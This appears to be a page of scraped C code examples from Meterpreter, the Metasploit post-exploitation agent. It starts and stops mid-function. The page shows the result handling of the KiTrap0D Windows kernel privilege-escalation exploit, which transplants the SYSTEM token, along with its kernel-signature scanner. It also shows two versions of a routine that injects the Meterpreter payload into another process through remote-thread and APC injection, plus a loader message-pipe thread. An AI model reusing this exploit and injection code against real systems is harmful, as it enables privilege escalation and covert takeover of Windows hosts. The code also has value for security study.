			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); 

		// 5. Wait for the thread to complete
		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
		WaitForSingleObject( hThread, INFINITE );

		// pass some information back via the exit code to indicate what happened.
		GetExitCodeThread( hThread, &dwExitCode );

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
		
		switch( dwExitCode )
		{
			case 'VTIB':
				// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
				// matches what the kernel expects.
				// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
			case 'NTAV':
				// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
				// expects to be present.
				// The exploit thread reports it didn't work.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
			case 'VDMC':
				// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
				// It's entirely undocumented, so you'll have to use kd to step through it and find out why
				// it's failing.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
			case 'LPID':
				// This exploit will try to transplant the token from PsInitialSystemProcess on to an
				// unprivileged process owned by you.
				// PsLookupProcessByProcessId() failed when trying to find your process.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
			case FALSE:
				// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
				// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
			case 'w00t':
				// This means the exploit payload was executed at ring0 and succeeded.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
			default:
				// Unknown error. Sorry, you're on your own.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
		}

	} while( 0 );

	if( hVdm )
	{
		TerminateProcess( hVdm, 0 );
		CloseHandle( hVdm );
	}

	if( hThread )
		CloseHandle( hThread );

	return dwResult;
}
Esempio n. 26
0
/*!
 * @brief Migrate the meterpreter server from the current process into another process.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @param pResult Pointer to the memory that will receive the result.
 * @returns Indication of whether the server should continue processing or not.
 */
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hEvent = NULL;
	BYTE * lpPayloadBuffer = NULL;
	LPVOID lpMigrateStub = NULL;
	LPBYTE lpMemory = NULL;
	LPBYTE lpUuid = NULL;
	LPCOMMONMIGRATECONTEXT ctx = NULL;
	DWORD ctxSize = 0;
	DWORD dwMigrateStubLength = 0;
	DWORD dwPayloadLength = 0;
	DWORD dwProcessID = 0;
	DWORD dwDestinationArch = 0;

	MetsrvConfig* config = NULL;
	DWORD configSize = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the process identifier to inject into
		dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

		// Get the target process architecture to inject into
		dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);

		// Get the length of the payload buffer
		dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);

		// Receive the actual migration payload buffer
		lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

		// Get handles to the updated UUIDs if they're there
		lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);

		// Get the migrate stub information
		dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
		lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);

		dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);

		// If we can, get SeDebugPrivilege...
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		{
			TOKEN_PRIVILEGES priv = { 0 };

			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
			{
				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
				{
					dprintf("[MIGRATE] Got SeDebugPrivilege!");
				}
			}

			CloseHandle(hToken);
		}

		// Open the process so that we can migrate into it
		hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
		if (!hProcess)
		{
			BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
		}

		// get the existing configuration
		dprintf("[MIGRATE] creating the configuration block");
		remote->config_create(remote, lpUuid, &config, &configSize);
		dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);

		if (remote->transport->get_migrate_context != NULL)
		{
			dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx);
		}
		else
		{
			dwResult = get_migrate_context(&ctxSize, &ctx);
		}

		if (dwResult != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
			break;
		}

		// Create a notification event that we'll use to know when it's safe to exit 
		// (once the socket has been referenced in the other process)
		hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
		if (!hEvent)
		{
			BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
		}

		// Duplicate the event handle for the target process
		if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
		}

		dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);

		// Allocate memory for the migrate stub, context, payload and configuration block
		lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!lpMemory)
		{
			BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
		}

		// Calculate the address of the payload...
		ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;

		// Write the migrate stub to memory...
		dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
		if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
		}

		// Write the migrate context to memory...
		dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
		if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
		}

		// Write the migrate payload to memory...
		dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
		if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
		}

		// finally write the configuration stub
		dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
		if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
		}

		free(ctx);

		// First we try to migrate by directly creating a remote thread in the target process
		if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

			// If that fails we can try to migrate via a queued APC in the target process
			if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
			{
				BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
			}
		}

		dwResult = ERROR_SUCCESS;

	} while (0);

	SAFE_FREE(config);

	// If we failed and have not sent the response, do so now
	if (dwResult != ERROR_SUCCESS && response)
	{
		dprintf("[MIGRATE] Sending response");
		packet_transmit_response(dwResult, remote, response);
	}

	// Cleanup...
	if (hProcess)
	{
		dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess);
		CloseHandle(hProcess);
	}

	if (hEvent)
	{
		dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent);
		CloseHandle(hEvent);
	}

	if (pResult)
	{
		*pResult = dwResult;
	}

	// if migration succeeded, return 'FALSE' to indicate server thread termination.
	dprintf("[MIGRATE] Finishing migration, result: %u", dwResult);
	return ERROR_SUCCESS == dwResult ? FALSE : TRUE;
}
Esempio n. 27
0
/*!
 * @brief Migrate the meterpreter server from the current process into another process.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @param pResult Pointer to the memory that will receive the result.
 * @returns Indication of whether the server should continue processing or not.
 */
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hEvent = NULL;
	BYTE * lpPayloadBuffer = NULL;
	LPVOID lpMigrateStub = NULL;
	LPBYTE lpMemory = NULL;
	MIGRATECONTEXT ctx = { 0 };
	DWORD dwMigrateStubLength = 0;
	DWORD dwPayloadLength = 0;
	DWORD dwProcessID = 0;
	DWORD dwDestinationArch = 0;

	MetsrvConfig* config = NULL;
	DWORD configSize = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the process identifier to inject into
		dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

		// Get the target process architecture to inject into
		dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);

		// Get the length of the payload buffer
		dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

		// Receive the actual migration payload buffer
		lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

		dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);

		// If we can, get SeDebugPrivilege...
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		{
			TOKEN_PRIVILEGES priv = { 0 };

			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
			{
				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
				{
					dprintf("[MIGRATE] Got SeDebugPrivilege!");
				}
			}

			CloseHandle(hToken);
		}

		// Open the process so that we can migrate into it
		hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
		if (!hProcess)
		{
			BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
		}

		// get the existing configuration
		dprintf("[MIGRATE] creating the configuration block");
		remote->config_create(remote, &config, &configSize);
		dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);

		if (config->session.comms_fd)
		{
			// Duplicate the socket for the target process if we are SSL based
			if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
			{
				BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
			}
		}

		// Create a notification event that we'll use to know when it's safe to exit 
		// (once the socket has been referenced in the other process)
		hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
		if (!hEvent)
		{
			BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
		}

		// Duplicate the event handle for the target process
		if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
		}

		// Get the architecture specific process migration stub...
		if (dwDestinationArch == PROCESS_ARCH_X86)
		{
			lpMigrateStub = (LPVOID)&migrate_stub_x86;
			dwMigrateStubLength = sizeof(migrate_stub_x86);
		}
		else if (dwDestinationArch == PROCESS_ARCH_X64)
		{
			lpMigrateStub = (LPVOID)&migrate_stub_x64;
			dwMigrateStubLength = sizeof(migrate_stub_x64);
		}
		else
		{
			SetLastError(ERROR_BAD_ENVIRONMENT);
			dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
			break;
		}

		// Allocate memory for the migrate stub, context, payload and configuration block
		lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!lpMemory)
		{
			BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
		}

		// Calculate the address of the payload...
		ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);

		// Write the migrate stub to memory...
		dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
		if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
		}

		// Write the migrate context to memory...
		dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
		if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
		}

		// Write the migrate payload to memory...
		dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
		if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
		}

		// finally write the configuration stub
		dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
		if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
		}

		// First we try to migrate by directly creating a remote thread in the target process
		if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

			// If that fails we can try to migrate via a queued APC in the target process
			if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
			{
				BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
			}
		}

		dwResult = ERROR_SUCCESS;

	} while (0);
Esempio n. 28
0
/*
 * A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream)
 */
DWORD WINAPI context_message_thread( LPVOID lpParameter )
{
    DWORD dwResult            = ERROR_SUCCESS;
    HANDLE hServerPipe        = NULL;
    BYTE * pBuffer            = NULL;
    char cNamedPipe[MAX_PATH] = {0};

    __try
    {
        do
        {
            _snprintf_s( cNamedPipe, MAX_PATH, MAX_PATH - 1, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName );

            dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe );

            hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL );
            if( !hServerPipe )
                BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" );

            while( TRUE )
            {
                struct _hdr {
                    DWORD dwMessage;
                    DWORD dwLength;
                } header = {0};
                DWORD dwTotal = 0;

                if( !ConnectNamedPipe( hServerPipe, NULL ) )
                {
                    if( GetLastError() != ERROR_PIPE_CONNECTED )
                        continue;
                }

                dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header );
                if( dwTotal != sizeof( struct _hdr ) )
                    BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE );

                pBuffer = (BYTE *)malloc( header.dwLength );
                if( !pBuffer )
                    BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE );

                dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer );
                if( dwTotal != header.dwLength )
                    BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE );

                DisconnectNamedPipe( hServerPipe );

                switch( header.dwMessage )
                {
                case MESSAGE_SETENCODING:
                    if( header.dwLength != sizeof(DWORD) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.dwEncoding = *(DWORD *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding );
                    break;
                case MESSAGE_SETPIXELFORMAT:
                    if( header.dwLength != sizeof(PIXELFORMAT) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) );
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" );
                    break;
                case MESSAGE_SETCOMPRESSLEVEL:
                    if( header.dwLength != sizeof(DWORD) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.dwCompressLevel = *(DWORD *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel );
                    break;
                case MESSAGE_SETQUALITYLEVEL:
                    if( header.dwLength != sizeof(DWORD) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.dwQualityLevel = *(DWORD *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel );
                    break;
                case MESSAGE_SETCOPYRECTUSE:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bUseCopyRect = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect );
                    break;
                case MESSAGE_SETENCODINGRICHCURSOR:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor );
                    break;
                case MESSAGE_SETENCODINGPOINTERPOS:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos );
                    break;
                case MESSAGE_SETENCODINGLASTRECT:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingLastRect = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect );
                    break;
                case MESSAGE_SETENCODINGNEWFBSIZE:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize );
                    break;
                case MESSAGE_SETENCODINGXCURSOR:
                    if( header.dwLength != sizeof(BOOL) )
                    {
                        dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength );
                        break;
                    }
                    AgentContext.bEncodingXCursor = *(BOOL *)pBuffer;
                    dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor );
                    break;
                /*
                case MESSAGE_SETZLIBDICTIONARY:
                	if( header.dwLength < sizeof(DICTMSG) )
                	{
                		dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength );
                		break;
                	}
                	else
                	{
                		DICTMSG * dmsg = (DICTMSG *)pBuffer;
                		if( dmsg->dwId > 4 )
                		{
                			dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId );
                			break;
                		}

                		if( AgentContext.dictionaries[dmsg->dwId] )
                			free( AgentContext.dictionaries[dmsg->dwId] );

                		AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength );
                		if( !AgentContext.dictionaries[dmsg->dwId] )
                		{
                			dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" );
                			break;
                		}

                		AgentContext.dictionaries[dmsg->dwId]->dwId         = dmsg->dwId;
                		AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength;

                		memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength );

                		dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength );
                	}
                	break;
                */
                default:
                    dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage );
                    break;
                }

                if( pBuffer )
                {
                    free( pBuffer );
                    pBuffer = NULL;
                }
            }

        } while( 0 );
    }
    __except( EXCEPTION_EXECUTE_HANDLER )
    {
        dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" );
    }

    dprintf("[LOADER] loader_message_thread. thread finishing...");

    if( hServerPipe )
    {
        DisconnectNamedPipe( hServerPipe );
        CLOSE_HANDLE( hServerPipe );
    }

    if( pBuffer )
        free( pBuffer );

    return dwResult;
}
Esempio n. 29
0
/*
 * Scan the appropriate kernel image for the correct offset
 */
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
	DWORD dwResult                       = ERROR_SUCCESS;
	FARPROC NtQuerySystemInformation     = NULL;
	HMODULE hKernel                      = NULL;
	HMODULE hNtdll                       = NULL;
	PIMAGE_DOS_HEADER DosHeader          = NULL;
	PIMAGE_NT_HEADERS PeHeader           = NULL;
	PIMAGE_OPTIONAL_HEADER OptHeader     = NULL;
	PBYTE ImageBase                      = NULL;
	HKEY MmHandle                        = NULL;
	OSVERSIONINFO os                     = {0};
	SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
	DWORD PhysicalAddressExtensions      = 0;
	DWORD DataSize                       = 0;
	ULONG i                              = 0;
	ULONG x                              = 0;

	// List of versions we have code signatures for.
	enum {
		MICROSOFT_WINDOWS_NT4   = 0,
		MICROSOFT_WINDOWS_2000  = 1,
		MICROSOFT_WINDOWS_XP    = 2,
		MICROSOFT_WINDOWS_2003  = 3,
		MICROSOFT_WINDOWS_VISTA = 4,
		MICROSOFT_WINDOWS_2008  = 5,
		MICROSOFT_WINDOWS_7     = 6,
	} Version = MICROSOFT_WINDOWS_7;

	do
	{
		hNtdll = GetModuleHandle("ntdll");
		if( !hNtdll )
			BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );

		// NtQuerySystemInformation can be used to find kernel base address
		NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
		if( !NtQuerySystemInformation )
			BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );

		// Determine kernel version so that the correct code signature is used
		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );

		dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);

		if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_NT4;
		if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_2000;
		if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
			Version = MICROSOFT_WINDOWS_XP;
		if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
			Version = MICROSOFT_WINDOWS_2003;
		if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_VISTA;
		if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_2008;
		if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
			Version = MICROSOFT_WINDOWS_7;

		// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
		NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
		
		dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );

		// Load the kernel image specified
		hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
		if( !hKernel )
			BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );

		// Parse image headers
		*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
		ImageBase   = (PBYTE)hKernel;
		DosHeader   = (PIMAGE_DOS_HEADER)ImageBase;
		PeHeader    = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
		OptHeader   = &PeHeader->OptionalHeader;
	
		dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );

		for( x=0 ; ; x++ )
		{
			if( CodeSignatures[x].Version == -1 )
				break;

			if( CodeSignatures[x].Version != Version )
				continue;

			dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );

			// Scan for the appropriate signature...
			for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
			{
				if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
				{
					dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );

					*OffsetFromBase = i;

					FreeLibrary( hKernel );

					return TRUE;
				}
			}
		}

